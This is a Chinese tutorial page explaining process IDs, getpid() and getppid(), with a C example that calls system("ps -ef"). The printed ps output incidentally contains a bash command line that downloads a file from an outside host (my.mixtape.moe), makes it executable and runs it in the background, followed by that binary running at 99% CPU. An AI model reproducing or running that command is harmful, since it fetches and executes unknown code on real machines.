进程信息



在深入了解进程信息之前,我们需要了解一些事情,例如:

什么是进程?进程是正在执行的程序。

什么是程序?程序是一个文件,包含进程信息以及如何在运行时构建它的信息。当您开始执行程序时,它会被加载到 RAM 中并开始执行。

每个进程都由一个唯一的正整数标识,称为进程 ID 或简称为 PID(进程标识号)。内核通常将进程 ID 限制为 32767,这是可配置的。当进程 ID 达到此限制时,它将重置,这发生在系统进程范围之后。然后,将从该计数器中未使用的进程 ID 分配给新创建的进程。

系统调用 getpid() 返回调用进程的进程 ID。

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

此调用返回调用进程的进程 ID,保证是唯一的。此调用总是成功的,因此没有返回值来指示错误。

每个进程都有其唯一的 ID,称为进程 ID,但这很好,但谁创建了它?如何获取有关其创建者的信息?创建者进程称为父进程。可以通过 getppid() 调用获得父 ID 或 PPID。

系统调用 getppid() 返回调用进程的父进程 PID。

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

此调用返回调用进程的父进程 ID。此调用总是成功的,因此没有返回值来指示错误。

让我们用一个简单的例子来理解一下。

以下是一个程序,用于了解调用进程的 PID 和 PPID。

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

编译并执行上述程序后,输出将如下所示。

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

注意 − “C” 库函数 system() 执行 shell 命令。传递给 system() 的参数是在 shell 上执行的命令。在上述程序中,命令是“ps”,它给出进程状态。

有关所有正在运行的进程和其他系统相关信息的完整信息都可以从 /proc 位置提供的 proc 文件系统访问。

广告